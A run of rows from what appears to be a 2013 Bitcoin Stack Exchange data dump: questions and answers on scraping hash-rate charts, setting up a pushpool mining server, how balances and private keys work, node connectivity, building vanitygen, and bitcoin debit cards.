  <row Id="5994" PostTypeId="2" ParentId="5938" CreationDate="2013-01-04T13:18:47.410" Score="1" Body="&lt;p&gt;The JSON export seems indeed to be broken. A quick workaround is to simply get the graph page and extract the needed data from there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -s https://blockchain.info/charts/hash-rate | grep data: | grep -oE '\[[0-9\.,]+\]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you the JSON array. The array contains a daily sample of the hash-rate starting from timestamp&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -s https://blockchain.info/charts/hash-rate | grep pointStart | grep -oE '[0-9]+'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-04T13:18:47.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5995" PostTypeId="2" ParentId="4303" CreationDate="2013-01-04T16:26:08.003" Score="4" Body="&lt;p&gt;This guide will set up everything you need on a single machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's get started by setting up the environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get install build-essential&#xA;sudo apt-get install automake gcc&#xA;sudo apt-get install libevent-dev libmemcached-dev libcurl4-openssl-dev zlib1g-dev libjansson-dev curl memcached&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on your distro some of these may not be available (libjansson-dev for example is not available on Lucid), and you may have to download and compile the sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pushpool requires a database to work so we have to install either SQLite3 or MySQL. MySQL probably is the better choice, but SQLite3 suffices to just test pushpool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libsqlite3-dev sqlite3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get MySQL you'd instead install &lt;code&gt;libmysql++-dev&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next we download the pushpool source and extract it to &lt;code&gt;/tmp/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /tmp/&#xA;curl -s http://yyz.us/bitcoin/pushpool-0.5.1.tar.gz | tar -xvz&#xA;cd pushpool-0.5.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's get on with it by configuring, compiling and installing it into /opt/pushpool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --prefix=/opt/pushpool/&#xA;make&#xA;sudo make install&#xA;cd /opt/pushpool/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point we can quickly check that everything worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sbin/pushpoold -E -F&#xA;[2013-01-04 16:00:40.682356] config file(server.json): No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All we need to do now is to configure the pushpool server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo cp /tmp/pushpool-0.5.1/example-cfg.json /opt/pushpool/server.json&#xA;sudo nano /opt/pushpool/server.json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's mine for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;        # network ports&#xA;        &quot;listen&quot; : [&#xA;                # binary protocol (default), port 8336&#xA;                { &quot;port&quot; : 8336 },&#xA;&#xA;                # HTTP JSON-RPC protocol, port 8337&#xA;                { &quot;port&quot; : 8337, &quot;protocol&quot; : &quot;http-json&quot; }&#xA;&#xA;        ],&#xA;&#xA;        # database settings&#xA;        &quot;database&quot; : {&#xA;                &quot;engine&quot; : &quot;sqlite3&quot;,&#xA;                &quot;name&quot; : &quot;/tmp/data.sqlite&quot;,&#xA;                &quot;stmt.pwdb&quot; :&#xA;                  &quot;SELECT password FROM pool_worker WHERE username = ?&quot;&#xA;&#xA;        },&#xA;&#xA;        # cache settings&#xA;        &quot;memcached&quot; : {&#xA;                &quot;servers&quot; : [&#xA;                        { &quot;host&quot; : &quot;127.0.0.1&quot;, &quot;port&quot; : 11211 }&#xA;                ]&#xA;        },&#xA;&#xA;        &quot;pid&quot; : &quot;/tmp/pushpoold.pid&quot;,&#xA;&#xA;        # overrides local hostname detection&#xA;        &quot;forcehost&quot; : &quot;localhost.localdomain&quot;,&#xA;&#xA;        &quot;log.requests&quot; : &quot;/tmp/request.log&quot;,&#xA;        &quot;log.shares&quot; : &quot;/tmp/shares.log&quot;,&#xA;&#xA;        # the server assumes longpolling (w/ SIGUSR1 called for each blk)&#xA;        &quot;longpoll.disable&quot; : false,&#xA;&#xA;        # length of time to cache username/password credentials, in seconds&#xA;        &quot;auth.cred_cache.expire&quot; : 75,&#xA;&#xA;        # RPC settings&#xA;        &quot;rpc.url&quot; : &quot;http://127.0.0.1:8332/&quot;,&#xA;        &quot;rpc.user&quot; : &quot;bitcoinrpc&quot;,&#xA;        &quot;rpc.pass&quot; : &quot;bitcoinpassword&quot;,&#xA;&#xA;        # rewrite returned 'target' to difficulty-1?&#xA;        &quot;rpc.target.rewrite&quot; : true,&#xA;&#xA;        # allow clients to update the ntime field of their work&#xA;        &quot;roll.ntime.disable&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally we get to the database setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sqlite3 /tmp/data.sqlite &quot;CREATE TABLE pool_worker (username VARCHAR(32), password VARCHAR(32))&quot;&#xA;sqlite3 /tmp/data.sqlite &quot;INSERT INTO pool_worker VALUES ('username', 'password');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point we have created the database and inserted a new user called &lt;code&gt;username&lt;/code&gt; and password &lt;code&gt;password&lt;/code&gt;. Running &lt;code&gt;sbin/pushpoold -E -F&lt;/code&gt; again will start the daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pointing your miner to &lt;code&gt;http://username:password@127.0.0.1:8336/&lt;/code&gt; should get you mining.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-04T16:26:08.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5996" PostTypeId="2" ParentId="2844" CreationDate="2013-01-04T16:50:27.627" Score="-2" Body="&lt;p&gt;The article &lt;em&gt;&lt;a href=&quot;http://www.forbes.com/sites/jonmatonis/2012/05/07/bitcoin-funded-debit-cards/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Funded Debit Cards&lt;/a&gt;&lt;/em&gt; might be useful to you.&lt;/p&gt;&#xA;" OwnerUserId="2539" LastEditorUserId="1405" LastEditDate="2014-02-01T14:06:41.010" LastActivityDate="2014-02-01T14:06:41.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5997" PostTypeId="1" AcceptedAnswerId="5998" CreationDate="2013-01-04T17:37:49.597" Score="5" ViewCount="4841" Body="&lt;p&gt;I downloaded the &lt;a href=&quot;http://bitcoin.org/releases/2012/12/14/v0.7.2.html&quot; rel=&quot;noreferrer&quot;&gt;latest bitcoin client&lt;/a&gt; and am waiting for it to connect. How does it remember how much money a person has? Do I create an account and the balance is associated with the account each time I log in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing I don't get is how come there's ways to get free bitcoins, such as through mining or websites? Isn't it unfair that some have their money they worked for transferred to bitcoins where others depend on the strength of their computer to make them money? Is it that the free ways of getting bitcoins never give out that much it's not a problem?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="120" LastEditDate="2013-01-04T19:00:38.447" LastActivityDate="2019-10-30T11:33:18.830" Title="How does Bitcoin keep track of account balances?" Tags="|client|bitcoin-core|bitcoin-core-accounts|balance|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5998" PostTypeId="2" ParentId="5997" CreationDate="2013-01-04T19:07:37.020" Score="7" Body="&lt;p&gt;Those are quite some widespread questions.&lt;/p&gt;&#xA;&lt;h2&gt;Tracking of account balances&lt;/h2&gt;&#xA;&lt;p&gt;There are two parts that keep track of an accounts balance:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;each node keeps track of the transaction history&lt;/li&gt;&#xA;&lt;li&gt;a node keeps track of the private keys for the accounts it owns&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Bitcoin at its core is a distributed ledger that keeps track of every transaction ever executed. Every node in the network stores a copy of the complete transaction history and can therefore reconstruct the balance for each account. Catching up with the rest of the network will take quite some time exactly because you need to download and verify the whole transaction history.&lt;/p&gt;&#xA;&lt;p&gt;The private keys come into play when bitcoins are transferred from one account to another. To spend bitcoins you have to create a transaction and the owner of the sending account has to authorize the transaction by signing it with the private key associated with the account. So anybody that knows the private key to an account may spend the bitcoins that are in that account. Bitcoin-QT (the client you downloaded) creates a file on the harddisk called &lt;code&gt;wallet.dat&lt;/code&gt;, which contains all the private keys for your accounts, so don't lose it. Other clients use different methods of storing the private keys.&lt;/p&gt;&#xA;&lt;h2&gt;Mining (or &amp;quot;free&amp;quot; bitcoins)&lt;/h2&gt;&#xA;&lt;p&gt;Mining is Bitcoin's way of minting new currency. There is no central bank that prints bitcoins, instead nodes are rewarded for their help in the network. They help the network by verifying and confirming the validity of transactions in the network.&lt;/p&gt;&#xA;&lt;p&gt;As others have pointed out mining is not free: the initial investment in mining equipment has to be amortized and electricity has to be paid. While initially it was easy to mine, the fact that you compete with all the other miners about a limited supply of new bitcoins mined has quickly driven the cost of mining up.&lt;/p&gt;&#xA;&lt;p&gt;Mining nowadays requires such a high investment that some miners never break even.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-01-04T19:07:37.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5999" PostTypeId="2" ParentId="5721" CreationDate="2013-01-04T20:51:09.430" Score="1" Body="&lt;p&gt;Quickly checking with telnet says you're all set up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ telnet 23.23.246.5 8333&#xA;Trying 23.23.246.5...&#xA;Connected to 23.23.246.5.&#xA;Escape character is '^]'.&#xA;^]&#xA;telnet&amp;gt; quit&#xA;Connection closed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next checking if you appear in sipa's DNS Seed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -s http://bitcoin.sipa.be/seeds.txt | grep 23.23.246.5&#xA;23.23.246.5:8333        100.00% 100.00% 100.00% 94.46%  51.36%  215073  60002 &quot;/Satoshi:0.7.1/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since Sipa checks the version you can be sure that your node responds correctly to handshake requests, i.e., connections can be established. The same goes for bitcoin testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind is not listening on port 80. That's the HTTP port, and from the banner it appears that it is an IIS7 web server running on that port:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server: Microsoft-IIS/7.5&#xA;X-Powered-By: ASP.NET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for &lt;code&gt;92.243.23.21&lt;/code&gt;, that is indeed an IRC server (part of LFnet) which is used by bitcoind to bootstrap its contact with the P2P network. &lt;code&gt;bitcoind&lt;/code&gt; will connect to the server and join the channel #bitcoin. The usernames of participants in that channel are encoded IP addresses that bitcoind will then attempt to contact. So nothing to bother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally the connections all seem to check out. They are all outgoing connections to the P2P network. They boil down to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 6667 outgoing to the IRC bootstrapping servers (giraffe.heliacal.net and irc.lfnet.org)&lt;/li&gt;&#xA;&lt;li&gt;8 8333 outgoing to other bitcoin nodes&lt;/li&gt;&#xA;&lt;li&gt;8 8334 outgoing to other namecoin nodes&lt;/li&gt;&#xA;&lt;li&gt;6 18333 outgoing to bitcoin (testnet)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Currently I am unable to connect to port 8334 which would indicate that your &lt;code&gt;namecoin&lt;/code&gt; is not running.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-04T20:51:09.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6000" PostTypeId="2" ParentId="5938" CreationDate="2013-01-05T00:45:35.300" Score="0" Body="&lt;p&gt;This error should be fixed now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/charts/hash-rate?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/hash-rate?format=json&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2013-01-05T00:45:35.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6001" PostTypeId="2" ParentId="2844" CreationDate="2013-01-05T06:27:34.483" Score="12" Body="&lt;p&gt;Bitcoins are a purely electronic currency. If you want to sell them in exchange for dollars or euros, you can do that. But as Bitcoins, they exist purely electronically. There are &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;noreferrer&quot;&gt;physical Bitcoins&lt;/a&gt; but basically, they're just the key to an electronic account printed in some form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're missing the concept that Bitcoins act like a currency or commodity. You can have 10 Bitcoins just like you can have 10 ounces of gold. The key difference is that the Bitcoins exist electronically rather than phyiscally. If you have Bitcoins and want dollars, you have to find someone who has dollars and wants Bitcoins, then you exchange with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are not a payment or fund transfer system for national currencies like PayPal and Western Union are. Bitrcoins are a currency that has an efficient built-in transfer system.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-02-01T16:37:55.753" LastActivityDate="2014-02-01T16:37:55.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6002" PostTypeId="2" ParentId="5799" CreationDate="2013-01-05T13:47:13.700" Score="1" Body="&lt;p&gt;The JSON-RPC was never intended to be open to the public, hence the required &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt;. For added security it should also be configured to either listen only to the loopback interface or the allowed IPs limited to a few trusted sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet password is used to access the encrypted private keys, that's the reason everything involving either adding new private keys or signing with the private keys requires the wallet to be unlocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;backupwallet&lt;/code&gt; exports the keys in their encrypted form and therefore does not require the passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have to allow JSON-RPC access to untrusted users, put a filter in front of it.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-05T13:47:13.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6003" PostTypeId="2" ParentId="5167" CreationDate="2013-01-05T14:49:06.120" Score="1" Body="&lt;p&gt;Looks like you were just unlucky in choosing your peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When connecting to a peer your client and the peer exchange a handshake message. Part of this handshake message is the height of the longest chain the peer has locally stored. Your client will then starting to download blocks until it catches up to the top of the longest chain. If the peers you connect to happen to be also catching up with the chain you will only see the length of their chains and will be unaware about the real length of the longest chain in the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing to worry about, you will eventually have an accurate estimate of the real length: as soon as you connect to a peer with the longest chain, or one of your peers has caught up to the longest chain, your client will update its estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reconnecting also works as new peers are chosen. When you wrote your question, on October 24th, the longest chain was &lt;a href=&quot;http://blockchain.info/block/00000000000002b032243afa2e7befb3504a26e8743a01d6c1a48663dfd686d8&quot; rel=&quot;nofollow&quot;&gt;204'663 blocks&lt;/a&gt; long, so the ~10'000 blocks or so were quite a long way off. Hopefully by now you caught up to the head of the Blockchain.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-05T14:49:06.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6004" PostTypeId="1" AcceptedAnswerId="6005" CreationDate="2013-01-05T16:08:53.390" Score="2" ViewCount="1457" Body="&lt;p&gt;Whenever I try to install by running &quot;make&quot; it gives me tons of errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ make&#xA;cc -ggdb -O3 -Wall   -c -o pattern.o pattern.c&#xA;pattern.c:32:18: error: pcre.h: No such file or directory&#xA;pattern.c:1604: error: expected specifier-qualifier-list before ‘pcre’&#xA;pattern.c: In function ‘vg_regex_context_add_patterns’:&#xA;pattern.c:1623: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;pattern.c:1625: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;pattern.c:1626: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;pattern.c:1636: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1637: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1638: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_pat’&#xA;pattern.c:1641: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;pattern.c:1642: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1643: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1643: error: ‘pcre’ undeclared (first use in this function)&#xA;pattern.c:1643: error: (Each undeclared identifier is reported only once&#xA;pattern.c:1643: error: for each function it appears in.)&#xA;pattern.c:1643: error: expected expression before ‘)’ token&#xA;pattern.c:1644: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1644: error: ‘pcre_extra’ undeclared (first use in this function)&#xA;pattern.c:1644: error: expected expression before ‘)’ token&#xA;pattern.c:1645: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_pat’&#xA;pattern.c:1646: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;pattern.c:1651: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1652: warning: implicit declaration of function ‘pcre_compile’&#xA;pattern.c:1654: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1667: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1668: warning: implicit declaration of function ‘pcre_study’&#xA;pattern.c:1668: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1671: warning: implicit declaration of function ‘pcre_free’&#xA;pattern.c:1671: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1674: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_pat’&#xA;pattern.c: In function ‘vg_regex_context_clear_all_patterns’:&#xA;pattern.c:1692: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1693: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1694: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c: In function ‘vg_regex_context_free’:&#xA;pattern.c:1706: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;pattern.c:1707: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c: In function ‘vg_regex_test’:&#xA;pattern.c:1723: error: ‘pcre’ undeclared (first use in this function)&#xA;pattern.c:1723: error: ‘re’ undeclared (first use in this function)&#xA;pattern.c:1764: warning: implicit declaration of function ‘pcre_exec’&#xA;pattern.c:1764: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1765: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1771: error: ‘PCRE_ERROR_NOMATCH’ undeclared (first use in this function)&#xA;pattern.c:1779: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1783: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1788: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_pat’&#xA;pattern.c:1797: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1798: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1799: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1806: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1806: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1807: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1808: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_extra’&#xA;pattern.c:1809: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_pat’&#xA;pattern.c:1809: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex_pat’&#xA;pattern.c: In function ‘vg_regex_context_new’:&#xA;pattern.c:1840: error: ‘vg_regex_context_t’ has no member named ‘vcr_regex’&#xA;pattern.c:1841: error: ‘vg_regex_context_t’ has no member named ‘vcr_nalloc’&#xA;make: *** [pattern.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="120" LastEditDate="2013-01-05T20:22:37.043" LastActivityDate="2017-07-28T05:29:23.807" Title="OSX Vanitygen broken makefile" Tags="|vanitygen|" AnswerCount="2" CommentCount="1" ClosedDate="2018-05-10T17:09:28.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="6005" PostTypeId="2" ParentId="6004" CreationDate="2013-01-05T16:47:38.053" Score="3" Body="&lt;p&gt;You are missing a dependency required to compile it. More specifically &lt;code&gt;pcre.h&lt;/code&gt; or the Perl Compatible Regular Expressions library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this install &lt;a href=&quot;http://www.macports.org/install.php&quot; rel=&quot;nofollow&quot;&gt;MacPorts&lt;/a&gt; and then use it to download the required dependencies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo port install autoconf&#xA;sudo port install pcre&#xA;sudo ln -s /opt/local/include/pcre.h /usr/include/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is untested as I'm no Mac user, but it should work.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-01-05T19:40:02.700" LastActivityDate="2013-01-05T19:40:02.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6006" PostTypeId="1" AcceptedAnswerId="6011" CreationDate="2013-01-05T17:01:11.370" Score="5" ViewCount="217" Body="&lt;p&gt;Who has an admin user?&#xA;I know Stephen Gornick has. Who else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who besides MagicTux has technical admin credentials? (server access)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2023-10-30T13:50:51.050" LastActivityDate="2023-10-30T13:50:51.050" Title="Who has admin privileges for the bitcoin wiki?" Tags="|bitcoin-wiki|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6008" PostTypeId="1" AcceptedAnswerId="6079" CreationDate="2013-01-05T20:08:10.917" Score="10" ViewCount="4146" Body="&lt;p&gt;With the rumors of the Bitinstant credit card failing to deliver, and the only other one out there being a fake scam site, does &lt;em&gt;anyone&lt;/em&gt; out there offer a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just the ability to pay with Bitcoin wherever credit cards are accepted in USD is all I need.&lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2013-05-20T03:44:26.887" Title="Do any actual bitcoin credit / debit cards exist yet?" Tags="|bitcoin-credit-card|debitcard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6009" PostTypeId="2" ParentId="3093" CreationDate="2013-01-05T20:19:34.910" Score="1" Body="&lt;p&gt;In addition to Strongcoin, there is also &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;Bitpay&lt;/a&gt;, which offers more manageable / flexible merchant solutions to developers for a small fee. This only covers your users who want to buy with Bitcoin, however.&lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2013-01-05T20:19:34.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6010" PostTypeId="1" CreationDate="2013-01-05T21:37:28.877" Score="-1" ViewCount="265" Body="&lt;p&gt;I didn't write down my bitcoin wallet code (that long alphanumeric number that was assigned to me) when I installed the software.  How do I find it?&lt;/p&gt;&#xA;" OwnerUserId="2560" LastActivityDate="2013-01-06T12:13:18.410" Title="Wallet code number" Tags="|wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6011" PostTypeId="2" ParentId="6006" CreationDate="2013-01-05T21:44:52.203" Score="4" Body="&lt;p&gt;Any mediawiki installation have a special page giving you the list of all the admins .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the bitcoin wiki,find it at :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/w/index.php?title=Special:ListUsers&amp;amp;group=sysop&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/w/index.php?title=Special:ListUsers&amp;amp;group=sysop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Special:ListGroupRights&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Special:ListGroupRights&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-01-05T21:44:52.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6012" PostTypeId="1" CreationDate="2013-01-06T00:29:39.507" Score="5" ViewCount="3263" Body="&lt;p&gt;Seems like some miners are saying they would have made more money by simply buying and holding Bitcoin, rather than mining it. Is that likely to be the case going forward? I know I'm asking for speculation -- but, if one is working under the bullish assumption that BTC will gain in popularity and more people will start using it, is it a better bet to buy and hold than to invest in mining equipment?&lt;/p&gt;&#xA;" OwnerUserId="2563" LastEditorUserId="5406" LastEditDate="2016-04-17T18:56:12.497" LastActivityDate="2016-04-17T18:56:12.497" Title="What's a better investment? Buying an ASIC-based mining rig, or buying bitcoin itself?" Tags="|asic|mining-hardware|investing|butterfly-labs|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6013" PostTypeId="2" ParentId="6012" CreationDate="2013-01-06T02:14:30.730" Score="7" Body="&lt;p&gt;Investing in expensive mining equipment hedges a bet that the return on investment, in the form of Bitcoin, will eventually pay off the initial investment and continue paying a return for some time before becoming obsolete (like CPU mining has and GPU mining shortly will) or breaking down. It may be possible operate this as a business, writing off expenses while selling generated Bitcoin for a profit. This is all based on an assumption that this mining system may eventually be profitable. It's safe to assume that it will be once running, but, like any dividend play, it's a long term investment. Unlike dividend plays, the return will likely only decrease over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By buying Bitcoin itself, one participates in the economy. While Bitcoin supporters would hope that one would not hold on to Bitcoin as an investment, but rather spend it in order to further the economy, it is possible to still make a return on investment if one's goal is to earn a return in government issued currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider a $1,200 investment in a mining setup versus a $1,200 investment in Bitcoin itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former is a long term play, slowing building up to profitability through the course of months or years. Something may happen that causes the system to fail and halt returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter is a more liquid play, where one can sell the Bitcoin at a profit (or loss) short-term or long-term, or exchange Bitcoin for goods and services, thereby furthering the economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes down to investment style. Does one fancy themselves a miner or a jeweler?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-06T02:14:30.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6014" PostTypeId="1" CreationDate="2013-01-06T05:54:36.153" Score="4" ViewCount="283" Body="&lt;p&gt;&lt;a href=&quot;http://www.engadget.com/2012/08/20/bitinstant-founder-says-bitcoin-debit-card-to-launch-within-next/&quot; rel=&quot;nofollow&quot;&gt;http://www.engadget.com/2012/08/20/bitinstant-founder-says-bitcoin-debit-card-to-launch-within-next/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been almost four months. Where can I find the latest public information about this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-28T15:03:53.490" Title="What's the status of BitInstant's debit card?" Tags="|debitcard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
